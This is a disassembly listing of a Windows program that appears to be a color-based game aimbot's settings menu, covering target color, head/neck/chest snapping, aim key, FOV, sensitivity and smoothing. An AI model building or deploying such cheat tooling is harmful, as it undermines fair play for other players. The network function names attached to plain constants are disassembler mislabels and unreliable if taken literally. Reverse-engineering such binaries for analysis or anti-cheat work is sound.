call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [rbp - 0x60]
add rdi, 0x18
add r12, 4
cmp r12, rbx
jne 0x140008390
movzx esi, byte [rsp + 0x44]
mov edi, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140082ba4]
call fcn.1400022e0
cmp qword [rbp + 0x410], 0xf
lea rdx, [rbp + 0x3f8]
mov r8, qword [rbp + 0x408]
mov rcx, rax
cmova rdx, qword [rbp + 0x3f8]
call fcn.1400026f0
mov r14d, dword [rbp - 0x78]
movzx r12d, byte [rsp + 0x41]
movzx r13d, byte [rsp + 0x42]
jmp 0x140008210
cmp rdx, 0xf
lea rax, [rbp + 0x428]
cmova rax, rcx
cmp r8, 6
jne 0x14000858a
cmp dword [rax], 0x4c4c4559
jne 0x14000858a
cmp word [rax + 4], 0x574f
jne 0x14000858a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___COLOR_IS_SET_TO_YELLOW___
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 4
mov edx, edi
jmp 0x140008fd5
lea rdx, str.PURPLE
lea rcx, [rbp + 0x428]
call fcn.14000b3e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x1400085dc
lea rdx, str.___COLOR_IS_SET_TO_PURPLE___
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 5
mov edx, edi
jmp 0x140008fd5
lea rdx, str.____INVALID_COLOR_OPTION____
call fcn.1400022e0
mov r8d, reloc.WS2_32.dll_listen
lea rcx, [rbp + 0x390]
mov edx, edi
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
jmp 0x140008210
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008873
mov r8d, edi
lea rcx, [rbp + 0x390]
mov edx, 2
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_AIMING_AREA__CASE_SENSITIVE___HEAD__NECK__CHEST_:
xor eax, eax
mov qword [rbp + 0x4a0], reloc.WS2_32.dll_ntohs
xorps xmm0, xmm0
mov qword [rbp + 0x498], rax
movups xmmword [rbp + 0x488], xmm0
mov byte [rbp + 0x488], al
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x488]
call fcn.14000b580
mov rdi, qword [rbp + 0x4a0]
lea rax, [rbp + 0x488]
mov rbx, qword [rbp + 0x488]
cmp rdi, 0xf
cmova rax, rbx
cmp qword [rbp + 0x498], 4
jne 0x14000873d
cmp dword [rax], 0x44414548
jne 0x14000873d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___SNAPPING_SET_TO_HEAD___
mov dword [0x14009002c], 3
call fcn.1400022e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov edx, 2
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 5]
call fcn.14000de50
jmp 0x140008827
lea rdx, str.NECK
lea rcx, [rbp + 0x488]
call fcn.14000b3e0
test al, al
je 0x14000879b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___SNAPPING_SET_TO_NECK___
mov dword [0x14009002c], 4
call fcn.1400022e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov edx, 2
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 6]
call fcn.14000de50
jmp 0x140008827
lea rdx, str.CHEST
lea rcx, [rbp + 0x488]
call fcn.14000b3e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
je 0x1400087f6
lea rdx, str.___SNAPPING_SET_TO_CHEST___
mov dword [0x14009002c], 0xa
call fcn.1400022e0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov edx, 2
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 7]
call fcn.14000de50
jmp 0x140008827
lea rdx, str.____INVALID_CHOICE____
call fcn.1400022e0
mov edx, 2
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 0xb]
call fcn.14000de50
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
cmp rdi, 0xf
jbe 0x140008200
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140008866
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009160
mov rcx, rbx
call fcn.14006ed60
jmp 0x140008200
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008d95
mov r8d, edi
lea rcx, [rbp + 0x390]
mov edx, 3
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.SET_THIS_WITH_AN_INTEGER._ENTER_1__2_OR_3
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1__LEFT_CLICK
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2__MB4
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._3__MB5
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.____ENTER_YOUR_CHOICE:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x300]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x300]
cmp eax, 1
jne 0x140008add
movzx r12d, al
mov byte [rsp + 0x41], al
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___AIM_KEY_SET_TO_LEFT_CLICK
call fcn.1400022e0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1__HOLD
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2__TOGGLE
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_YOUR_CHOICE:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x2fc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x2fc]
cmp eax, 1
jne 0x140008a97
mov byte [rsp + 0x40], r12b
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_HOLD___
jmp 0x140008aa8
cmp eax, 2
jne 0x140008abf
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_TOGGLE___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400022e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 3
lea r8d, [rdx + 7]
jmp 0x140008fd5
cmp eax, 2
jne 0x140008c1b
mov r13b, 1
mov byte [rsp + 0x42], r13b
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___AIM_KEY_SET_TO_MB4
call fcn.1400022e0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1__HOLD
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2__TOGGLE
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_YOUR_CHOICE:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x420]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x420]
cmp eax, 1
jne 0x140008bc3
mov byte [rsp + 0x40], r13b
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_HOLD
jmp 0x140008bd4
cmp eax, 2
jne 0x140008be0
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_TOGGLE___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400022e0
call fcn.140004ab0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 3
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 8]
call fcn.14000de50
call fcn.140004ab0
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
jmp 0x140008210
cmp eax, 3
jne 0x140008d57
mov r14b, 1
mov dword [rbp - 0x78], r14d
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___AIM_KEY_SET_TO_MB5
call fcn.1400022e0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._1__HOLD
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._2__TOGGLE
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____ENTER_YOUR_CHOICE:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x308]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rbp + 0x308]
cmp eax, 1
jne 0x140008cff
mov byte [rsp + 0x40], al
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_HOLD
jmp 0x140008d10
cmp eax, 2
jne 0x140008d1c
call fcn.140004ab0
lea rdx, str.___AIM_KEY_SET_TO_TOGGLE___
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400022e0
call fcn.140004ab0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 3
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 9]
call fcn.14000de50
call fcn.140004ab0
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
jmp 0x140008210
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____INVALID_CHOICE____
call fcn.1400022e0
mov edx, 3
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 0xa]
call fcn.14000de50
call fcn.140004ab0
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
jmp 0x140008210
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008ec2
mov r8d, edi
lea rcx, [rbp + 0x390]
mov edx, 4
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.TO_SET_DEFAULT_VALUES_ENTER_100__100__RECOMMENDED_VALUES_20_150_
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.HORIZONTAL_FOV:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140090028]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.VERTICAL_FOV:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [0x140090024]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov edx, 4
jmp 0x140008fcf
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008ff2
mov r8d, edi
lea rcx, [rbp + 0x390]
mov edx, 5
call fcn.14000de50
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____SENSITIVITY:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x378]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___double____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____SMOOTHING:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___double____ptr64____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____MODE:
call fcn.1400022e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rbp + 0x2f8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___CONFIGURATION_SAVED___
call fcn.1400022e0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
xor r8d, r8d
mov rax, qword [rdx]
movsxd rcx, dword [rax + 4]
add rcx, rdx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov edx, 5
mov r8d, 6
lea rcx, [rbp + 0x390]
call fcn.14000de50
lea rcx, [rbp + 0x390]
call fcn.14000dbf0
jmp 0x140008210
mov ecx, reloc.WLDAP32.dll_Ordinal_27
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140008210
test sil, sil
lea rcx, [rbp + 0x390]
sete sil
mov byte [rsp + 0x44], sil
call fcn.14000de10
test bl, bl
jne 0x140008210
xorps xmm2, xmm2
lea rcx, [rbp + 0x390]
call fcn.14000de70
xor esi, esi
mov ebx, esi
nop dword [rax]
movd xmm2, ebx
lea rcx, [rbp + 0x390]
cvtdq2ps xmm2, xmm2
call fcn.14000de70
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
add ebx, 6
cmp ebx, 0x63
jl 0x140009040
movss xmm2, dword [0x140082c18]
lea rcx, [rbp + 0x390]
call fcn.14000de70
mov edx, 3
lea rcx, [rbp + 0x390]
lea r8d, [rdx + 3]
call fcn.14000de50
call fcn.140004ab0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002500]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
